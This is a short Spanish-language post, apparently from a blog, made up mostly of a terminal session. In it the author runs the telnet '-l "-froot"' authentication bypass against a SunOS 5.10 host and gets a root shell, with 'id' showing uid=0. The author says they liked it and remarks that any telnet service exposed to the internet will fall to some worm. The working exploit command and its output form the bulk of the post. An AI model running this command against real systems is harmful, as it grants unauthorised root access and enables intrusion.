Esta me ha molao….

quasar@plutontech:~ $ telnet -l "-froot" 192.168.0.20
Trying 192.168.0.20...
Connected to 192.168.0.20.
Escape character is '^]'.
Sun Microsystems Inc.   SunOS 5.10      Generic January 2005
You have new mail.
# id
uid=0(root) gid=0(root)
# 

Si hay algun telnet abierto al planeta R.I.P por gusanote de turno.